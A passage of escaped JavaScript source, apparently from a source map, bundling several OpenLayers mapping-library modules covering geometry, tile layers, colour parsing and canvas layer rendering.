this.setLayout(opt_layout, coordinates, 3);\n if (!this.flatCoordinates) {\n this.flatCoordinates = [];\n }\n var endss = deflateMultiCoordinatesArray(this.flatCoordinates, 0, coordinates, this.stride, this.endss_);\n if (endss.length === 0) {\n this.flatCoordinates.length = 0;\n }\n else {\n var lastEnds = endss[endss.length - 1];\n this.flatCoordinates.length =\n lastEnds.length === 0 ? 0 : lastEnds[lastEnds.length - 1];\n }\n this.changed();\n };\n return MultiPolygon;\n}(SimpleGeometry));\nexport default MultiPolygon;\n//# sourceMappingURL=MultiPolygon.js.map","/**\n * @module ol/geom/flat/center\n */\nimport { createEmpty, createOrUpdateFromFlatCoordinates } from '../../extent.js';\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<number>>} endss Endss.\n * @param {number} stride Stride.\n * @return {Array<number>} Flat centers.\n */\nexport function linearRingss(flatCoordinates, offset, endss, stride) {\n var flatCenters = [];\n var extent = createEmpty();\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n var ends = endss[i];\n extent = createOrUpdateFromFlatCoordinates(flatCoordinates, offset, ends[0], stride);\n flatCenters.push((extent[0] + extent[2]) / 2, (extent[1] + extent[3]) / 2);\n offset = ends[ends.length - 1];\n }\n return flatCenters;\n}\n//# sourceMappingURL=center.js.map","/**\n * @module ol/layer/TileProperty\n */\n/**\n * @enum {string}\n */\nexport default {\n PRELOAD: 'preload',\n USE_INTERIM_TILES_ON_ERROR: 'useInterimTilesOnError',\n};\n//# sourceMappingURL=TileProperty.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/layer/BaseTile\n */\nimport Layer from './Layer.js';\nimport TileProperty from './TileProperty.js';\nimport { assign } from '../obj.js';\n/***\n * @template Return\n * @typedef {import(\"../Observable\").OnSignature<import(\"../Observable\").EventTypes, import(\"../events/Event.js\").default, Return> &\n * import(\"../Observable\").OnSignature<import(\"./Base\").BaseLayerObjectEventTypes|\n * 'change:source'|'change:preload'|'change:useInterimTilesOnError', import(\"../Object\").ObjectEvent, Return> &\n * import(\"../Observable\").OnSignature<import(\"../render/EventType\").LayerRenderEventTypes, import(\"../render/Event\").default, Return> &\n * import(\"../Observable\").CombinedOnSignature<import(\"../Observable\").EventTypes|import(\"./Base\").BaseLayerObjectEventTypes|\n * 'change:source'|'change:preload'|'change:useInterimTilesOnError'|import(\"../render/EventType\").LayerRenderEventTypes, Return>} BaseTileLayerOnSignature\n */\n/**\n * @template {import(\"../source/Tile.js\").default} TileSourceType\n * @typedef {Object} Options\n * @property {string} [className='ol-layer'] A CSS class name to set to the layer element.\n * @property {number} [opacity=1] Opacity (0, 1).\n * @property {boolean} [visible=true] Visibility.\n * @property {import(\"../extent.js\").Extent} [extent] The bounding extent for layer rendering. The layer will not be\n * rendered outside of this extent.\n * @property {number} [zIndex] The z-index for layer rendering. At rendering time, the layers\n * will be ordered, first by Z-index and then by position. When `undefined`, a `zIndex` of 0 is assumed\n * for layers that are added to the map's `layers` collection, or `Infinity` when the layer's `setMap()`\n * method was used.\n * @property {number} [minResolution] The minimum resolution (inclusive) at which this layer will be\n * visible.\n * @property {number} [maxResolution] The maximum resolution (exclusive) below which this layer will\n * be visible.\n * @property {number} [minZoom] The minimum view zoom level (exclusive) above which this layer will be\n * visible.\n * @property {number} [maxZoom] The maximum view zoom level (inclusive) at which this layer will\n * be visible.\n * @property {number} [preload=0] Preload. Load low-resolution tiles up to `preload` levels. `0`\n * means no preloading.\n * @property {TileSourceType} [source] Source for this layer.\n * @property {import(\"../PluggableMap.js\").default} [map] Sets the layer as overlay on a map. The map will not manage\n * this layer in its layers collection, and the layer will be rendered on top. This is useful for\n * temporary layers. The standard way to add a layer to a map and have it managed by the map is to\n * use {@link import(\"../PluggableMap.js\").default#addLayer map.addLayer()}.\n * @property {boolean} [useInterimTilesOnError=true] Use interim tiles on error.\n * @property {Object<string, *>} [properties] Arbitrary observable properties. Can be accessed with `#get()` and `#set()`.\n */\n/**\n * @classdesc\n * For layer sources that provide pre-rendered, tiled images in grids that are\n * organized by zoom levels for specific resolutions.\n * Note that any property set in the options is set as a {@link module:ol/Object~BaseObject}\n * property on the layer object; for example, setting `title: 'My Title'` in the\n * options means that `title` is observable, and has get/set accessors.\n *\n * @template {import(\"../source/Tile.js\").default} TileSourceType\n * @template {import(\"../renderer/Layer.js\").default} RendererType\n * @extends {Layer<TileSourceType, RendererType>}\n * @api\n */\nvar BaseTileLayer = /** @class */ (function (_super) {\n __extends(BaseTileLayer, _super);\n /**\n * @param {Options<TileSourceType>} [opt_options] Tile layer options.\n */\n function BaseTileLayer(opt_options) {\n var _this = this;\n var options = opt_options ? opt_options : {};\n var baseOptions = assign({}, options);\n delete baseOptions.preload;\n delete baseOptions.useInterimTilesOnError;\n _this = _super.call(this, baseOptions) || this;\n /***\n * @type {BaseTileLayerOnSignature<import(\"../events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {BaseTileLayerOnSignature<import(\"../events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {BaseTileLayerOnSignature<void>}\n */\n _this.un;\n _this.setPreload(options.preload !== undefined ? options.preload : 0);\n _this.setUseInterimTilesOnError(options.useInterimTilesOnError !== undefined\n ? options.useInterimTilesOnError\n : true);\n return _this;\n }\n /**\n * Return the level as number to which we will preload tiles up to.\n * @return {number} The level to preload tiles up to.\n * @observable\n * @api\n */\n BaseTileLayer.prototype.getPreload = function () {\n return /** @type {number} */ (this.get(TileProperty.PRELOAD));\n };\n /**\n * Set the level as number to which we will preload tiles up to.\n * @param {number} preload The level to preload tiles up to.\n * @observable\n * @api\n */\n BaseTileLayer.prototype.setPreload = function (preload) {\n this.set(TileProperty.PRELOAD, preload);\n };\n /**\n * Whether we use interim tiles on error.\n * @return {boolean} Use interim tiles on error.\n * @observable\n * @api\n */\n BaseTileLayer.prototype.getUseInterimTilesOnError = function () {\n return /** @type {boolean} */ (this.get(TileProperty.USE_INTERIM_TILES_ON_ERROR));\n };\n /**\n * Set whether we use interim tiles on error.\n * @param {boolean} useInterimTilesOnError Use interim tiles on error.\n * @observable\n * @api\n */\n BaseTileLayer.prototype.setUseInterimTilesOnError = function (useInterimTilesOnError) {\n this.set(TileProperty.USE_INTERIM_TILES_ON_ERROR, useInterimTilesOnError);\n };\n /**\n * Get data for a pixel location. The return type depends on the source data. For image tiles,\n * a four element RGBA array will be returned. For data tiles, the array length will match the\n * number of bands in the dataset. For requests outside the layer extent, `null` will be returned.\n * Data for a image tiles can only be retrieved if the source's `crossOrigin` property is set.\n *\n * ```js\n * // display layer data on every pointer move\n * map.on('pointermove', (event) => {\n * console.log(layer.getData(event.pixel));\n * });\n * ```\n * @param {import(\"../pixel\").Pixel} pixel Pixel.\n * @return {Uint8ClampedArray|Uint8Array|Float32Array|DataView|null} Pixel data.\n * @api\n */\n BaseTileLayer.prototype.getData = function (pixel) {\n return _super.prototype.getData.call(this, pixel);\n };\n return BaseTileLayer;\n}(Layer));\nexport default BaseTileLayer;\n//# sourceMappingURL=BaseTile.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/renderer/Layer\n */\nimport EventType from '../events/EventType.js';\nimport ImageState from '../ImageState.js';\nimport Observable from '../Observable.js';\nimport { abstract } from '../util.js';\n/**\n * @template {import(\"../layer/Layer.js\").default} LayerType\n */\nvar LayerRenderer = /** @class */ (function (_super) {\n __extends(LayerRenderer, _super);\n /**\n * @param {LayerType} layer Layer.\n */\n function LayerRenderer(layer) {\n var _this = _super.call(this) || this;\n /**\n * The renderer is initialized and ready to render.\n * @type {boolean}\n */\n _this.ready = true;\n /** @private */\n _this.boundHandleImageChange_ = _this.handleImageChange_.bind(_this);\n /**\n * @protected\n * @type {LayerType}\n */\n _this.layer_ = layer;\n /**\n * @type {import(\"../render/canvas/ExecutorGroup\").default}\n */\n _this.declutterExecutorGroup = null;\n return _this;\n }\n /**\n * Asynchronous layer level hit detection.\n * @param {import(\"../pixel.js\").Pixel} pixel Pixel.\n * @return {Promise<Array<import(\"../Feature\").default>>} Promise that resolves with\n * an array of features.\n */\n LayerRenderer.prototype.getFeatures = function (pixel) {\n return abstract();\n };\n /**\n * @param {import(\"../pixel.js\").Pixel} pixel Pixel.\n * @return {Uint8ClampedArray|Uint8Array|Float32Array|DataView|null} Pixel data.\n */\n LayerRenderer.prototype.getData = function (pixel) {\n return null;\n };\n /**\n * Determine whether render should be called.\n * @abstract\n * @param {import(\"../PluggableMap.js\").FrameState} frameState Frame state.\n * @return {boolean} Layer is ready to be rendered.\n */\n LayerRenderer.prototype.prepareFrame = function (frameState) {\n return abstract();\n };\n /**\n * Render the layer.\n * @abstract\n * @param {import(\"../PluggableMap.js\").FrameState} frameState Frame state.\n * @param {HTMLElement} target Target that may be used to render content to.\n * @return {HTMLElement} The rendered element.\n */\n LayerRenderer.prototype.renderFrame = function (frameState, target) {\n return abstract();\n };\n /**\n * @param {Object<number, Object<string, import(\"../Tile.js\").default>>} tiles Lookup of loaded tiles by zoom level.\n * @param {number} zoom Zoom level.\n * @param {import(\"../Tile.js\").default} tile Tile.\n * @return {boolean|void} If `false`, the tile will not be considered loaded.\n */\n LayerRenderer.prototype.loadedTileCallback = function (tiles, zoom, tile) {\n if (!tiles[zoom]) {\n tiles[zoom] = {};\n }\n tiles[zoom][tile.tileCoord.toString()] = tile;\n return undefined;\n };\n /**\n * Create a function that adds loaded tiles to the tile lookup.\n * @param {import(\"../source/Tile.js\").default} source Tile source.\n * @param {import(\"../proj/Projection.js\").default} projection Projection of the tiles.\n * @param {Object<number, Object<string, import(\"../Tile.js\").default>>} tiles Lookup of loaded tiles by zoom level.\n * @return {function(number, import(\"../TileRange.js\").default):boolean} A function that can be\n * called with a zoom level and a tile range to add loaded tiles to the lookup.\n * @protected\n */\n LayerRenderer.prototype.createLoadedTileFinder = function (source, projection, tiles) {\n return (\n /**\n * @param {number} zoom Zoom level.\n * @param {import(\"../TileRange.js\").default} tileRange Tile range.\n * @return {boolean} The tile range is fully loaded.\n * @this {LayerRenderer}\n */\n function (zoom, tileRange) {\n var callback = this.loadedTileCallback.bind(this, tiles, zoom);\n return source.forEachLoadedTile(projection, zoom, tileRange, callback);\n }.bind(this));\n };\n /**\n * @abstract\n * @param {import(\"../coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {import(\"../PluggableMap.js\").FrameState} frameState Frame state.\n * @param {number} hitTolerance Hit tolerance in pixels.\n * @param {import(\"./vector.js\").FeatureCallback<T>} callback Feature callback.\n * @param {Array<import(\"./Map.js\").HitMatch<T>>} matches The hit detected matches with tolerance.\n * @return {T|undefined} Callback result.\n * @template T\n */\n LayerRenderer.prototype.forEachFeatureAtCoordinate = function (coordinate, frameState, hitTolerance, callback, matches) {\n return undefined;\n };\n /**\n * @abstract\n * @param {import(\"../pixel.js\").Pixel} pixel Pixel.\n * @param {import(\"../PluggableMap.js\").FrameState} frameState FrameState.\n * @param {number} hitTolerance Hit tolerance in pixels.\n * @return {Uint8ClampedArray|Uint8Array} The result. If there is no data at the pixel\n * location, null will be returned. If there is data, but pixel values cannot be\n * returned, and empty array will be returned.\n */\n LayerRenderer.prototype.getDataAtPixel = function (pixel, frameState, hitTolerance) {\n return null;\n };\n /**\n * @return {LayerType} Layer.\n */\n LayerRenderer.prototype.getLayer = function () {\n return this.layer_;\n };\n /**\n * Perform action necessary to get the layer rendered after new fonts have loaded\n * @abstract\n */\n LayerRenderer.prototype.handleFontsChanged = function () { };\n /**\n * Handle changes in image state.\n * @param {import(\"../events/Event.js\").default} event Image change event.\n * @private\n */\n LayerRenderer.prototype.handleImageChange_ = function (event) {\n var image = /** @type {import(\"../Image.js\").default} */ (event.target);\n if (image.getState() === ImageState.LOADED) {\n this.renderIfReadyAndVisible();\n }\n };\n /**\n * Load the image if not already loaded, and register the image change\n * listener if needed.\n * @param {import(\"../ImageBase.js\").default} image Image.\n * @return {boolean} `true` if the image is already loaded, `false` otherwise.\n * @protected\n */\n LayerRenderer.prototype.loadImage = function (image) {\n var imageState = image.getState();\n if (imageState != ImageState.LOADED && imageState != ImageState.ERROR) {\n image.addEventListener(EventType.CHANGE, this.boundHandleImageChange_);\n }\n if (imageState == ImageState.IDLE) {\n image.load();\n imageState = image.getState();\n }\n return imageState == ImageState.LOADED;\n };\n /**\n * @protected\n */\n LayerRenderer.prototype.renderIfReadyAndVisible = function () {\n var layer = this.getLayer();\n if (layer && layer.getVisible() && layer.getSourceState() === 'ready') {\n layer.changed();\n }\n };\n /**\n * Clean up.\n */\n LayerRenderer.prototype.disposeInternal = function () {\n delete this.layer_;\n _super.prototype.disposeInternal.call(this);\n };\n return LayerRenderer;\n}(Observable));\nexport default LayerRenderer;\n//# sourceMappingURL=Layer.js.map","/**\n * @module ol/ImageState\n */\n/**\n * @enum {number}\n */\nexport default {\n IDLE: 0,\n LOADING: 1,\n LOADED: 2,\n ERROR: 3,\n EMPTY: 4,\n};\n//# sourceMappingURL=ImageState.js.map","/**\n * @module ol/render/Event\n */\nvar __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\nimport Event from '../events/Event.js';\nvar RenderEvent = /** @class */ (function (_super) {\n __extends(RenderEvent, _super);\n /**\n * @param {import(\"./EventType.js\").default} type Type.\n * @param {import(\"../transform.js\").Transform} [opt_inversePixelTransform] Transform for\n * CSS pixels to rendered pixels.\n * @param {import(\"../PluggableMap.js\").FrameState} [opt_frameState] Frame state.\n * @param {?(CanvasRenderingContext2D|WebGLRenderingContext)} [opt_context] Context.\n */\n function RenderEvent(type, opt_inversePixelTransform, opt_frameState, opt_context) {\n var _this = _super.call(this, type) || this;\n /**\n * Transform from CSS pixels (relative to the top-left corner of the map viewport)\n * to rendered pixels on this event's `context`. Only available when a Canvas renderer is used, null otherwise.\n * @type {import(\"../transform.js\").Transform|undefined}\n * @api\n */\n _this.inversePixelTransform = opt_inversePixelTransform;\n /**\n * An object representing the current render frame state.\n * @type {import(\"../PluggableMap.js\").FrameState|undefined}\n * @api\n */\n _this.frameState = opt_frameState;\n /**\n * Canvas context. Not available when the event is dispatched by the map. For Canvas 2D layers,\n * the context will be the 2D rendering context. For WebGL layers, the context will be the WebGL\n * context.\n * @type {CanvasRenderingContext2D|WebGLRenderingContext|undefined}\n * @api\n */\n _this.context = opt_context;\n return _this;\n }\n return RenderEvent;\n}(Event));\nexport default RenderEvent;\n//# sourceMappingURL=Event.js.map","/**\n * @module ol/color\n */\nimport { assert } from './asserts.js';\nimport { clamp } from './math.js';\n/**\n * A color represented as a short array [red, green, blue, alpha].\n * red, green, and blue should be integers in the range 0..255 inclusive.\n * alpha should be a float in the range 0..1 inclusive. If no alpha value is\n * given then `1` will be used.\n * @typedef {Array<number>} Color\n * @api\n */\n/**\n * This RegExp matches # followed by 3, 4, 6, or 8 hex digits.\n * @const\n * @type {RegExp}\n * @private\n */\nvar HEX_COLOR_RE_ = /^#([a-f0-9]{3}|[a-f0-9]{4}(?:[a-f0-9]{2}){0,2})$/i;\n/**\n * Regular expression for matching potential named color style strings.\n * @const\n * @type {RegExp}\n * @private\n */\nvar NAMED_COLOR_RE_ = /^([a-z]*)$|^hsla?\\(.*\\)$/i;\n/**\n * Return the color as an rgba string.\n * @param {Color|string} color Color.\n * @return {string} Rgba string.\n * @api\n */\nexport function asString(color) {\n if (typeof color === 'string') {\n return color;\n }\n else {\n return toString(color);\n }\n}\n/**\n * Return named color as an rgba string.\n * @param {string} color Named color.\n * @return {string} Rgb string.\n */\nfunction fromNamed(color) {\n var el = document.createElement('div');\n el.style.color = color;\n if (el.style.color !== '') {\n document.body.appendChild(el);\n var rgb = getComputedStyle(el).color;\n document.body.removeChild(el);\n return rgb;\n }\n else {\n return '';\n }\n}\n/**\n * @param {string} s String.\n * @return {Color} Color.\n */\nexport var fromString = (function () {\n // We maintain a small cache of parsed strings. To provide cheap LRU-like\n // semantics, whenever the cache grows too large we simply delete an\n // arbitrary 25% of the entries.\n /**\n * @const\n * @type {number}\n */\n var MAX_CACHE_SIZE = 1024;\n /**\n * @type {Object<string, Color>}\n */\n var cache = {};\n /**\n * @type {number}\n */\n var cacheSize = 0;\n return (\n /**\n * @param {string} s String.\n * @return {Color} Color.\n */\n function (s) {\n var color;\n if (cache.hasOwnProperty(s)) {\n color = cache[s];\n }\n else {\n if (cacheSize >= MAX_CACHE_SIZE) {\n var i = 0;\n for (var key in cache) {\n if ((i++ & 3) === 0) {\n delete cache[key];\n --cacheSize;\n }\n }\n }\n color = fromStringInternal_(s);\n cache[s] = color;\n ++cacheSize;\n }\n return color;\n });\n})();\n/**\n * Return the color as an array. This function maintains a cache of calculated\n * arrays which means the result should not be modified.\n * @param {Color|string} color Color.\n * @return {Color} Color.\n * @api\n */\nexport function asArray(color) {\n if (Array.isArray(color)) {\n return color;\n }\n else {\n return fromString(color);\n }\n}\n/**\n * @param {string} s String.\n * @private\n * @return {Color} Color.\n */\nfunction fromStringInternal_(s) {\n var r, g, b, a, color;\n if (NAMED_COLOR_RE_.exec(s)) {\n s = fromNamed(s);\n }\n if (HEX_COLOR_RE_.exec(s)) {\n // hex\n var n = s.length - 1; // number of hex digits\n var d = // number of digits per channel\n void 0; // number of digits per channel\n if (n <= 4) {\n d = 1;\n }\n else {\n d = 2;\n }\n var hasAlpha = n === 4 || n === 8;\n r = parseInt(s.substr(1 + 0 * d, d), 16);\n g = parseInt(s.substr(1 + 1 * d, d), 16);\n b = parseInt(s.substr(1 + 2 * d, d), 16);\n if (hasAlpha) {\n a = parseInt(s.substr(1 + 3 * d, d), 16);\n }\n else {\n a = 255;\n }\n if (d == 1) {\n r = (r << 4) + r;\n g = (g << 4) + g;\n b = (b << 4) + b;\n if (hasAlpha) {\n a = (a << 4) + a;\n }\n }\n color = [r, g, b, a / 255];\n }\n else if (s.indexOf('rgba(') == 0) {\n // rgba()\n color = s.slice(5, -1).split(',').map(Number);\n normalize(color);\n }\n else if (s.indexOf('rgb(') == 0) {\n // rgb()\n color = s.slice(4, -1).split(',').map(Number);\n color.push(1);\n normalize(color);\n }\n else {\n assert(false, 14); // Invalid color\n }\n return color;\n}\n/**\n * TODO this function is only used in the test, we probably shouldn't export it\n * @param {Color} color Color.\n * @return {Color} Clamped color.\n */\nexport function normalize(color) {\n color[0] = clamp((color[0] + 0.5) | 0, 0, 255);\n color[1] = clamp((color[1] + 0.5) | 0, 0, 255);\n color[2] = clamp((color[2] + 0.5) | 0, 0, 255);\n color[3] = clamp(color[3], 0, 1);\n return color;\n}\n/**\n * @param {Color} color Color.\n * @return {string} String.\n */\nexport function toString(color) {\n var r = color[0];\n if (r != (r | 0)) {\n r = (r + 0.5) | 0;\n }\n var g = color[1];\n if (g != (g | 0)) {\n g = (g + 0.5) | 0;\n }\n var b = color[2];\n if (b != (b | 0)) {\n b = (b + 0.5) | 0;\n }\n var a = color[3] === undefined ? 1 : Math.round(color[3] * 100) / 100;\n return 'rgba(' + r + ',' + g + ',' + b + ',' + a + ')';\n}\n/**\n * @param {string} s String.\n * @return {boolean} Whether the string is actually a valid color\n */\nexport function isStringColor(s) {\n if (NAMED_COLOR_RE_.test(s)) {\n s = fromNamed(s);\n }\n return (HEX_COLOR_RE_.test(s) || s.indexOf('rgba(') === 0 || s.indexOf('rgb(') === 0);\n}\n//# sourceMappingURL=color.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/renderer/canvas/Layer\n */\nimport LayerRenderer from '../Layer.js';\nimport RenderEvent from '../../render/Event.js';\nimport RenderEventType from '../../render/EventType.js';\nimport { apply as applyTransform, compose as composeTransform, create as createTransform, } from '../../transform.js';\nimport { asArray } from '../../color.js';\nimport { containsCoordinate, getBottomLeft, getBottomRight, getTopLeft, getTopRight, } from '../../extent.js';\nimport { createCanvasContext2D } from '../../dom.js';\nimport { equals } from '../../array.js';\n/**\n * @type {Array<HTMLCanvasElement>}\n */\nexport var canvasPool = [];\n/**\n * @type {CanvasRenderingContext2D}\n */\nvar pixelContext = null;\nfunction createPixelContext() {\n var canvas = document.createElement('canvas');\n canvas.width = 1;\n canvas.height = 1;\n pixelContext = canvas.getContext('2d');\n}\n/**\n * @abstract\n * @template {import(\"../../layer/Layer.js\").default} LayerType\n * @extends {LayerRenderer<LayerType>}\n */\nvar CanvasLayerRenderer = /** @class */ (function (_super) {\n __extends(CanvasLayerRenderer, _super);\n /**\n * @param {LayerType} layer Layer.\n */\n function CanvasLayerRenderer(layer) {\n var _this = _super.call(this, layer) || this;\n /**\n * @protected\n * @type {HTMLElement}\n */\n _this.container = null;\n /**\n * @protected\n * @type {number}\n */\n _this.renderedResolution;\n /**\n * A temporary transform. The values in this transform should only be used in a\n * function that sets the values.\n * @protected\n * @type {import(\"../../transform.js\").Transform}\n */\n _this.tempTransform = createTransform();\n /**\n * The transform for rendered pixels to viewport CSS pixels. This transform must\n * be set when rendering a frame and may be used by other functions after rendering.\n * @protected\n * @type {import(\"../../transform.js\").Transform}\n */\n _this.pixelTransform = createTransform();\n /**\n * The transform for viewport CSS pixels to rendered pixels. This transform must\n * be set when rendering a frame and may be used by other functions after rendering.\n * @protected\n * @type {import(\"../../transform.js\").Transform}\n */\n _this.inversePixelTransform = createTransform();\n /**\n * @type {CanvasRenderingContext2D}\n */\n _this.context = null;\n /**\n * @type {boolean}\n */\n _this.containerReused = false;\n /**\n * @private\n * @type {CanvasRenderingContext2D}\n */\n _this.pixelContext_ = null;\n /**\n * @protected\n * @type {import(\"../../PluggableMap.js\").FrameState|null}\n */\n _this.frameState = null;\n return _this;\n }\n /**\n * @param {HTMLCanvasElement|HTMLImageElement|HTMLVideoElement} image Image.\n * @param {number} col The column index.\n * @param {number} row The row index.\n * @return {Uint8ClampedArray|null} The image data.\n */\n CanvasLayerRenderer.prototype.getImageData = function (image, col, row) {\n if (!pixelContext) {\n createPixelContext();\n }\n pixelContext.clearRect(0, 0, 1, 1);\n var data;\n try {\n pixelContext.drawImage(image, col, row, 1, 1, 0, 0, 1, 1);\n data = pixelContext.getImageData(0, 0, 1, 1).data;\n }\n catch (err) {\n pixelContext = null;\n return null;\n }\n return data;\n };\n /**\n * @param {import('../../PluggableMap.js').FrameState} frameState Frame state.\n * @return {string} Background color.\n */\n CanvasLayerRenderer.prototype.getBackground = function (frameState) {\n var layer = this.getLayer();\n var background = layer.getBackground();\n if (typeof background === 'function') {\n background = background(frameState.viewState.resolution);\n }\n return background || undefined;\n };\n /**\n * Get a rendering container from an existing target, if compatible.\n * @param {HTMLElement} target Potential render target.\n * @param {string} transform CSS Transform.\n * @param {string} [opt_backgroundColor] Background color.\n */\n CanvasLayerRenderer.prototype.useContainer = function (target, transform, opt_backgroundColor) {\n var layerClassName = this.getLayer().getClassName();\n var container, context;\n if (target &&\n target.className === layerClassName &&\n (!opt_backgroundColor ||\n (target &&\n target.style.backgroundColor &&\n equals(asArray(target.style.backgroundColor), asArray(opt_backgroundColor))))) {\n var canvas = target.firstElementChild;\n if (canvas instanceof HTMLCanvasElement) {\n context = canvas.getContext('2d');\n }\n }\n if (context && context.canvas.style.transform === transform) {\n // Container of the previous layer renderer can be used.\n this.container = target;\n this.context = context;\n this.containerReused = true;\n }\n else if (this.containerReused) {\n // Previously reused container cannot be used any more.\n this.container = null;\n this.context = null;\n this.containerReused = false;\n }\n if (!this.container) {\n container = document.createElement('div');\n container.className = layerClassName;\n var style = container.style;\n style.position = 'absolute';\n style.width = '100%';\n style.height = '100%';\n context = createCanvasContext2D();\n var canvas = context.canvas;\n container.appendChild(canvas);\n style = canvas.style;\n style.position = 'absolute';\n style.left = '0';\n style.transformOrigin = 'top left';\n this.container = container;\n this.context = context;\n }\n if (!this.containerReused &&\n opt_backgroundColor &&\n !this.container.style.backgroundColor) {\n this.container.style.backgroundColor = opt_backgroundColor;\n }\n };\n /**\n * @param {CanvasRenderingContext2D} context Context.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @param {import(\"../../extent.js\").Extent} extent Clip extent.\n * @protected\n */\n CanvasLayerRenderer.prototype.clipUnrotated = function (context, frameState, extent) {\n var topLeft = getTopLeft(extent);\n var topRight = getTopRight(extent);\n var bottomRight = getBottomRight(extent);\n var bottomLeft = getBottomLeft(extent);\n applyTransform(frameState.coordinateToPixelTransform, topLeft);\n applyTransform(frameState.coordinateToPixelTransform, topRight);\n applyTransform(frameState.coordinateToPixelTransform, bottomRight);\n applyTransform(frameState.coordinateToPixelTransform, bottomLeft);\n var inverted = this.inversePixelTransform;\n applyTransform(inverted, topLeft);\n applyTransform(inverted, topRight);\n applyTransform(inverted, bottomRight);\n applyTransform(inverted, bottomLeft);\n context.save();\n context.beginPath();\n context.moveTo(Math.round(topLeft[0]), Math.round(topLeft[1]));\n context.lineTo(Math.round(topRight[0]), Math.round(topRight[1]));\n context.lineTo(Math.round(bottomRight[0]), Math.round(bottomRight[1]));\n context.lineTo(Math.round(bottomLeft[0]), Math.round(bottomLeft[1]));\n context.clip();\n };\n /**\n * @param {import(\"../../render/EventType.js\").default} type Event type.\n * @param {CanvasRenderingContext2D} context Context.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @private\n */\n CanvasLayerRenderer.prototype.dispatchRenderEvent_ = function (type, context, frameState) {\n var layer = this.getLayer();\n if (layer.hasListener(type)) {\n var event_1 = new RenderEvent(type, this.inversePixelTransform, frameState, context);\n layer.dispatchEvent(event_1);\n }\n };\n /**\n * @param {CanvasRenderingContext2D} context Context.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @protected\n */\n CanvasLayerRenderer.prototype.preRender = function (context, frameState) {\n this.frameState = frameState;\n this.dispatchRenderEvent_(RenderEventType.PRERENDER, context, frameState);\n };\n /**\n * @param {CanvasRenderingContext2D} context Context.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @protected\n */\n CanvasLayerRenderer.prototype.postRender = function (context, frameState) {\n this.dispatchRenderEvent_(RenderEventType.POSTRENDER, context, frameState);\n };\n /**\n * Creates a transform for rendering to an element that will be rotated after rendering.\n * @param {import(\"../../coordinate.js\").Coordinate} center Center.\n * @param {number} resolution Resolution.\n * @param {number} rotation Rotation.\n * @param {number} pixelRatio Pixel ratio.\n * @param {number} width Width of the rendered element (in pixels).\n * @param {number} height Height of the rendered element (in pixels).\n * @param {number} offsetX Offset on the x-axis in view coordinates.\n * @protected\n * @return {!import(\"../../transform.js\").Transform} Transform.\n */\n CanvasLayerRenderer.prototype.getRenderTransform = function (center, resolution, rotation, pixelRatio, width, height, offsetX) {\n var dx1 = width / 2;\n var dy1 = height / 2;\n var sx = pixelRatio / resolution;\n var sy = -sx;\n var dx2 = -center[0] + offsetX;\n var dy2 = -center[1];\n return composeTransform(this.tempTransform, dx1, dy1, sx, sy, -rotation, dx2, dy2);\n };\n /**\n * @param {import(\"../../pixel.js\").Pixel} pixel Pixel.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState FrameState.\n * @param {number} hitTolerance Hit tolerance in pixels.\n * @return {Uint8ClampedArray|Uint8Array} The result. If there is no data at the pixel\n * location, null will be returned. If there is data, but pixel values cannot be\n * returned, and empty array will be returned.\n */\n CanvasLayerRenderer.prototype.getDataAtPixel = function (pixel, frameState, hitTolerance) {\n var renderPixel = applyTransform(this.inversePixelTransform, pixel.slice());\n var context = this.context;\n var layer = this.getLayer();\n var layerExtent = layer.getExtent();\n if (layerExtent) {\n var renderCoordinate = applyTransform(frameState.pixelToCoordinateTransform, pixel.slice());\n /** get only data inside 